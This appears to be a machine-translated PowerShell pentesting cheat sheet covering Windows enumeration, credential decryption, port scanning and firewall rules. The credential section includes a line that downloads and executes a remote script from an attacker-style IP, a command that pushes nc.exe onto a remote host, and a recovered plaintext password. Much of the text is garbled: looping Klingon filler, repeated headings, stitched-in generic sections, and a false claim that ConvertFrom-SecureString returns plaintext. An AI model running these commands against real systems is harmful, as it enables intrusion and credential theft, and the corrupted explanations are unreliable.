The file or folder will be restored to its original location.

Emptying the Recycle Bin

To permanently delete all files and folders in the Recycle Bin, follow these steps:

Open the Recycle Bin by double-clicking on its icon.
Click on the "Empty Recycle Bin" button located in the toolbar.
A confirmation dialog will appear. Click "Yes" to proceed with the deletion.
All files and folders in the Recycle Bin will be permanently deleted.

Customizing Recycle Bin Settings

Windows allows users to customize the settings of the Recycle Bin. To access the Recycle Bin settings, follow these steps:

Right-click on the Recycle Bin icon on the desktop.
Select "Properties" from the context menu.
The Recycle Bin Properties window will open.
Here, users can adjust settings such as the maximum size of the Recycle Bin and whether to display confirmation dialogs when deleting files.

Conclusion

The Recycle Bin is a useful feature in Windows that provides a safety net for deleted files and folders. By understanding how to restore files, empty the Recycle Bin, and customize its settings, users can effectively manage their deleted files and maintain a clean system.

$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()

https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/

Domain Recon

{% content-ref url="powerview.md" %} powerview.md {% endcontent-ref %}

Users

Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name

Secure String to Plaintext

English

To convert a secure string to plaintext in PowerShell, you can use the ConvertFrom-SecureString cmdlet. This cmdlet allows you to convert a secure string object into an encrypted standard string representation.

Here is an example of how to use the ConvertFrom-SecureString cmdlet:

$secureString = Read-Host -AsSecureString
$plainText = ConvertFrom-SecureString $secureString

After running this code, the $plainText variable will contain the plaintext representation of the secure string.

Klingon

Here is an example of how to use the ConvertFrom-SecureString cmdlet:

$secureString = Read-Host -AsSecureString
$plainText = ConvertFrom-SecureString $secureString

After running this code, the $plainText variable will contain the plaintext representation of the secure string.

$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

Or directly parsing form XML:

jIbogh XML laH:

$xml = [xml]@"
<root>
    <person>
        <name>John Doe</name>
        <age>30</age>
    </person>
    <person>
        <name>Jane Smith</name>
        <age>25</age>
    </person>
</root>
"@

$xml.root.person | ForEach-Object {
    $name = $_.name
    $age = $_.age
    Write-Host "Name: $name, Age: $age"
}

$xml = [xml]@"
<root>
    <person>
        <name>John Doe</name>
        <age>30</age>
    </person>
    <person>
        <name>Jane Smith</name>
        <age>25</age>
    </person>
</root>
"@

$xml.root.person | ForEach-Object {
    $name = $_.name
    $age = $_.age
    Write-Host "Name: $name, Age: $age"
}

$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

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#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)

#For local:
Start-Process -Credential ($cred)  -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"

#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred

Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'

#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"

qo'mey

Introduction

The Windows operating system uses groups to manage user accounts and assign permissions. Groups are collections of user accounts that share common access rights and privileges. By organizing users into groups, administrators can easily manage permissions and apply them to multiple users at once.

Types of Groups

There are two main types of groups in Windows:

Local Groups: These groups are specific to a single computer and are used to manage access to resources on that computer. Examples of local groups include Administrators, Users, and Guests.
Domain Groups: These groups are created and managed on a Windows domain controller and can be used to manage access to resources across multiple computers in a domain. Examples of domain groups include Domain Admins, Domain Users, and Domain Guests.

Group Membership

Users can be members of one or more groups, which determines their access rights and privileges. When a user is a member of multiple groups, their permissions are determined by the combination of permissions assigned to each group.

Group Policy

Group Policy is a feature in Windows that allows administrators to manage the configuration and behavior of user accounts and computers in a domain. Group Policy settings can be used to enforce security policies, restrict access to certain features, and configure various system settings.

Conclusion

Understanding groups and their role in Windows is essential for effective user management and access control. By properly organizing users into groups and applying appropriate permissions, administrators can ensure the security and integrity of their systems.

Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators

Qaw'wI'

The clipboard is a temporary storage area in a computer's memory that allows users to copy and paste data between different applications or documents. It is commonly used to transfer text, images, and other types of data.

In Windows, the clipboard can be accessed and manipulated using PowerShell. PowerShell is a powerful scripting language and command-line shell that is built on top of the .NET framework. It provides a wide range of cmdlets (pronounced "command-lets") that can be used to perform various tasks, including interacting with the clipboard.

To access the clipboard in PowerShell, you can use the Get-Clipboard cmdlet. This cmdlet retrieves the contents of the clipboard and outputs it to the console. For example, you can run the following command to display the contents of the clipboard:

Get-Clipboard

If the clipboard contains text, the output will be the text itself. If the clipboard contains an image or other non-text data, the output will be a representation of that data.

You can also use the Set-Clipboard cmdlet to set the contents of the clipboard. This cmdlet takes input from the pipeline or from a file and sets it as the new contents of the clipboard. For example, you can run the following command to set the contents of the clipboard to the text "Hello, world!":

"Hello, world!" | Set-Clipboard

After running this command, you can paste the text "Hello, world!" into another application or document.

In addition to the Get-Clipboard and Set-Clipboard cmdlets, PowerShell also provides other cmdlets for working with the clipboard, such as Clear-Clipboard to clear the contents of the clipboard, and Out-Clipboard to send output to the clipboard.

Using PowerShell to interact with the clipboard can be useful in various scenarios, such as automating repetitive tasks, manipulating data, or extracting information from the clipboard for further analysis.

Get-Clipboard

Qapmey

`Get-Process`

The Get-Process cmdlet is used to retrieve information about the processes running on a Windows system. It provides details such as the process ID (PID), name, CPU usage, memory usage, and more.

Example:

Get-Process

Translation:

`Get-Process`

Get-Process cmdlet vItlhutlhla' 'e' vItlhutlhla' Windows DaH jImej. vItlhutlhla' jatlhlaH, jatlhlaH, CPU lo'laH, memory lo'laH, je, jImej vItlhutlhla' jatlhlaH.

jatlh:

Get-Process

Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Qapmey

PowerShell

PowerShell is a powerful scripting language and automation framework that is widely used in Windows environments. It provides a command-line interface (CLI) for executing commands and scripts, as well as a scripting language for creating more complex automation tasks.

Basic PowerShell Commands

Here are some basic PowerShell commands that can be useful for pentesters:

Get-Process: This command retrieves information about running processes on the system.
Get-Service: This command retrieves information about running services on the system.
Get-EventLog: This command retrieves information from the event logs on the system.
Get-WmiObject: This command retrieves information from Windows Management Instrumentation (WMI) objects.
Get-NetAdapter: This command retrieves information about network adapters on the system.
Get-NetFirewallRule: This command retrieves information about firewall rules on the system.
Get-Content: This command retrieves the content of a file.
Set-Content: This command sets the content of a file.
Invoke-WebRequest: This command sends an HTTP or HTTPS request to a web page and retrieves the response.
Invoke-Command: This command runs commands on remote computers.

PowerShell Execution Policy

PowerShell has an execution policy that determines which scripts can be run on a system. The execution policy can be set to one of the following values:

Restricted: No scripts can be run.
AllSigned: Only scripts signed by a trusted publisher can be run.
RemoteSigned: Scripts downloaded from the internet must be signed by a trusted publisher, but local scripts can be run without a signature.
Unrestricted: All scripts can be run.

To check the current execution policy, use the following command:

Get-ExecutionPolicy

To change the execution policy, use the following command:

Set-ExecutionPolicy <policy>

Replace <policy> with the desired execution policy.

PowerShell Remoting

PowerShell remoting allows you to run PowerShell commands on remote computers. This can be useful for managing multiple systems or performing actions on systems that are not directly accessible.

To enable PowerShell remoting on a system, use the following command:

Enable-PSRemoting

To run a command on a remote computer, use the following command:

Invoke-Command -ComputerName <computer> -ScriptBlock { <command> }

Replace <computer> with the name or IP address of the remote computer, and <command> with the PowerShell command you want to run.

PowerShell Scripting

PowerShell allows you to create scripts to automate tasks. Scripts are saved with a .ps1 file extension and can be executed by running the script file.

Here is an example of a simple PowerShell script that retrieves information about running processes:

$processes = Get-Process
foreach ($process in $processes) {
    Write-Output "Process Name: $($process.Name)"
    Write-Output "Process ID: $($process.Id)"
    Write-Output "----------------------------------"
}

To run a PowerShell script, use the following command:

.\script.ps1

Replace script.ps1 with the name of your script file.

PowerShell Modules

PowerShell modules are collections of cmdlets, functions, and scripts that can be used to extend the functionality of PowerShell. Modules can be imported and used in PowerShell scripts and commands.

To import a PowerShell module, use the following command:

Import-Module <module>

Replace <module> with the name of the module you want to import.

To list all available modules, use the following command:

Get-Module -ListAvailable

To get information about a specific module, use the following command:

Get-Module <module>

Replace <module> with the name of the module you want to get information about.

PowerShell Aliases

PowerShell aliases are shortcuts for cmdlets, functions, and scripts. Aliases can be used to make commands shorter and easier to remember.

To list all available aliases, use the following command:

Get-Alias

To create a new alias, use the following command:

New-Alias -Name <alias> -Value <value>

Replace <alias> with the desired alias name, and <value> with the cmdlet, function, or script you want to create an alias for.

To remove an alias, use the following command:

Remove-Item alias:<alias>

Replace <alias> with the name of the alias you want to remove.

PowerShell Profiles

PowerShell profiles are scripts that are automatically run when PowerShell starts. Profiles can be used to customize the PowerShell environment and define custom functions and aliases.

To create a new profile, use the following command:

New-Item -Type File -Path $PROFILE

To edit the profile, use the following command:

notepad $PROFILE

This will open the profile file in Notepad. Add your customizations to the file and save it.

To reload the profile, use the following command:

. $PROFILE

This will re-run the profile script and apply any changes you made.

PowerShell Help

PowerShell provides built-in help for cmdlets, functions, and scripts. To get help for a specific command, use the following command:

Get-Help <command>

Replace <command> with the name of the command you want to get help for.

To get examples of how to use a command, use the following command:

Get-Help <command> -Examples

To get detailed information about a command, use the following command:

Get-Help <command> -Full

Conclusion

PowerShell is a powerful tool for pentesters, providing a wide range of capabilities for managing and automating Windows systems. By mastering the basic PowerShell commands and techniques, you can enhance your effectiveness as a pentester and streamline your workflow.

Get-Service

tlhIngan Hol

nIqHom vIghaj

tlhIngan Hol

$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password

Qapla' ghoSbe'chaj

Introduction

Scheduled tasks are a powerful feature in Windows that allow you to automate the execution of scripts, commands, or programs at specific times or intervals. As a pentester, understanding how scheduled tasks work can be beneficial for privilege escalation, persistence, and lateral movement.

Viewing Scheduled Tasks

To view the list of scheduled tasks on a Windows system, you can use the schtasks command in PowerShell. The following command will display all the scheduled tasks:

schtasks /query /fo LIST /v

Creating Scheduled Tasks

To create a new scheduled task, you can use the schtasks command with the /create parameter. Here's an example of how to create a basic scheduled task that runs a PowerShell script every day at 9:00 AM:

schtasks /create /tn "MyTask" /tr "powershell.exe -ExecutionPolicy Bypass -File C:\Path\To\Script.ps1" /sc daily /st 09:00

Modifying Scheduled Tasks

To modify an existing scheduled task, you can use the schtasks command with the /change parameter. Here's an example of how to change the schedule of a task to run every hour:

schtasks /change /tn "MyTask" /sc hourly

Deleting Scheduled Tasks

To delete a scheduled task, you can use the schtasks command with the /delete parameter. Here's an example of how to delete a task:

schtasks /delete /tn "MyTask" /f

Conclusion

Scheduled tasks are a useful feature in Windows that can be leveraged by pentesters for various purposes. By understanding how to view, create, modify, and delete scheduled tasks, you can enhance your capabilities as a pentester.

Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

Port Scan

tlhIngan Hol Translation:

Port Scan

tlhIngan Hol Translation:

Port Scan

tlhIngan Hol Translation:

Port Scan

tlhIngan Hol Translation:

Port Scan

tlhIngan Hol Translation:

# Check Port or Single IP
Test-NetConnection -Port 80 10.10.10.10

# Check Port List in Single IP
80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null

# Check Port Range in single IP
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null

# Check Port List in IP Lists - 80,443,445,8080
"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}

qo'noS

tlhIngan Hol

`Get-NetAdapter`

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'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh. 'ej 'oH vItlhutlh 'e' vItlhutlh.

Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Qa'Hom

Firewalls are an essential component of network security. They act as a barrier between a trusted internal network and an untrusted external network, filtering incoming and outgoing network traffic based on predefined rules. Firewalls can help prevent unauthorized access to a network and protect against various types of cyber attacks.

In Klingon:

Qa'Hom

Firewalls Dujmey network security DaH jImej. cha'logh network 'ej 'oH external network, 'ej 'oH network traffic based on predefined rules, 'ej 'oH network traffic jenwI'pu' 'ej jenwI'pu' 'ej. Firewalls unauthorized access network 'ej various types of cyber attacks protect.

Get-NetFirewallRule -Enabled True

Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow

# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow

# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property  DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action

Qap

Introduction

In the context of computer networks, a route refers to the path that network traffic takes from its source to its destination. Routing is the process of determining the best path for data packets to travel through a network. In this section, we will explore various aspects of routing, including routing protocols, routing tables, and route manipulation techniques.

Routing Protocols

Routing protocols are a set of rules and algorithms that determine how network devices communicate and exchange information to build and maintain routing tables. Some commonly used routing protocols include:

RIPv2 (Routing Information Protocol version 2): A distance-vector routing protocol that uses hop count as the metric to determine the best path.
OSPF (Open Shortest Path First): A link-state routing protocol that calculates the shortest path based on the cost of the links.
BGP (Border Gateway Protocol): A path-vector routing protocol used for routing between autonomous systems on the Internet.

Routing Tables

A routing table is a data structure stored in a network device (such as a router) that contains information about the available routes. Each entry in the routing table includes the destination network, the next hop, and the metric or cost associated with the route. The routing table is used by the device to determine the best path for forwarding network traffic.

Route Manipulation Techniques

Route manipulation techniques involve modifying the routing table to control the flow of network traffic. These techniques can be used for various purposes, including load balancing, traffic engineering, and network security. Some common route manipulation techniques include:

Static Routes: Manually configured routes that are added to the routing table.
Policy-Based Routing: Routing based on specific policies or criteria, such as source IP address or application type.
Route Redistribution: Sharing routes between different routing protocols.
Route Filtering: Controlling which routes are advertised or accepted based on specific criteria.

Conclusion

Understanding routes and routing protocols is essential for network administrators and security professionals. By manipulating routes, network traffic can be directed and controlled, allowing for efficient and secure communication within a network.

route print

ARP

Address Resolution Protocol (ARP), jen laŭvola protokolo en la TCP/IP stako, estas uzata por trovi la fizikan MAC adreson de retejo bazita sur ĝia IP adreso. Ĝi funkcias per sendado de ARP peto al la reto, kiu demandas la MAC adreson de la celo IP adreso. La celo retejo respondecas per sendado de ARP respondo, kiu enhavas la deziratan MAC adreson. Tio permesas al la sendanto krei korektan datenpaketon por la celo retejo.

ARP povas esti uzata en atakoj konataj kiel ARP spoofing aŭ ARP cache poisoning. En tiuj atakoj, la atakanto falsigas la ARP respondojn por igi la reto kredi, ke la atakanto estas la posedanto de la celo IP adreso. Tio povas esti utila por konduki man-in-the-middle atakon, kie la atakanto povas interŝanĝi aŭ monitori la komunikadon inter la du partoprenantoj.

Por defendi kontraŭ ARP atakoj, estas rekomendite uzi ARP kontrolojn, kiel ekzemple ARP-inspekto aŭ ARP-guardo. Tiuj mekanismoj povas helpi detekti kaj malhelpi falsajn ARP respondojn, kaj tiel plibonigi la sekurecon de la reto.

Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

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Get-Content C:\WINDOWS\System32\drivers\etc\hosts

Ping

Ping is a basic network troubleshooting tool used to test the reachability of a host on an Internet Protocol (IP) network. It sends ICMP Echo Request messages to the target host and waits for ICMP Echo Reply messages in response. This allows you to determine if a host is online and measure the round-trip time (RTT) it takes for packets to travel to and from the target host.

To use the ping command in PowerShell, you can use the Test-Connection cmdlet. Here's an example:

Test-Connection -ComputerName <target_host> -Count <number_of_pings>

Replace <target_host> with the IP address or hostname of the target host you want to ping, and <number_of_pings> with the desired number of ping requests to send.

The Test-Connection cmdlet also provides additional parameters that allow you to customize the behavior of the ping command. For example, you can specify the source IP address to use, set a timeout value, or specify the size of the ICMP packets.

Ping is a useful tool for network troubleshooting, but keep in mind that some hosts may have ICMP Echo Request messages blocked by their firewall, which can result in false negatives. Additionally, some hosts may be configured to prioritize ICMP Echo Request messages, which can result in inaccurate RTT measurements.

$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }

SNMP

SNMP (Simple Network Management Protocol) is a widely used protocol for managing and monitoring network devices. It allows network administrators to collect information about the devices on their network, such as CPU usage, memory usage, and network traffic.

SNMP operates using a client-server model, where the network devices act as servers and the management systems act as clients. The management systems can send SNMP requests to the devices to retrieve information, and the devices respond with SNMP traps or notifications when certain events occur.

SNMP uses a hierarchical structure called the Management Information Base (MIB) to organize and represent the information it collects. Each device has its own MIB, which contains a set of objects that can be queried or modified using SNMP.

As a pentester, understanding SNMP can be useful for identifying potential vulnerabilities in network devices. For example, misconfigured SNMP settings or weak community strings can allow unauthorized access to device information or even enable remote code execution.

To interact with SNMP, you can use various tools and libraries, such as the Net-SNMP suite or the pysnmp library in Python. These tools allow you to send SNMP requests, receive SNMP traps, and perform other SNMP-related tasks.

When conducting a pentest, it's important to check if SNMP is enabled on the target network devices and to assess the security of its configuration. This can be done by querying the devices for information, attempting to modify SNMP settings, or analyzing SNMP traffic for potential vulnerabilities.

Remember to always obtain proper authorization before performing any pentesting activities and to follow ethical guidelines to ensure the security and privacy of the target network.

Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

SDDL String jatlhpu'wI' readable Format vItlhutlh


PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0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Owner            : BUILTIN\Administrators
Group            : BUILTIN\Administrators
DiscretionaryAcl : {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT
AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions,
Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed
(CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions,
WriteExtendedAttributes)...}
SystemAcl        : {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse),
BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users:
SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess
(Traverse)...}
RawDescriptor    : System.Security.AccessControl.CommonSecurityDescriptor

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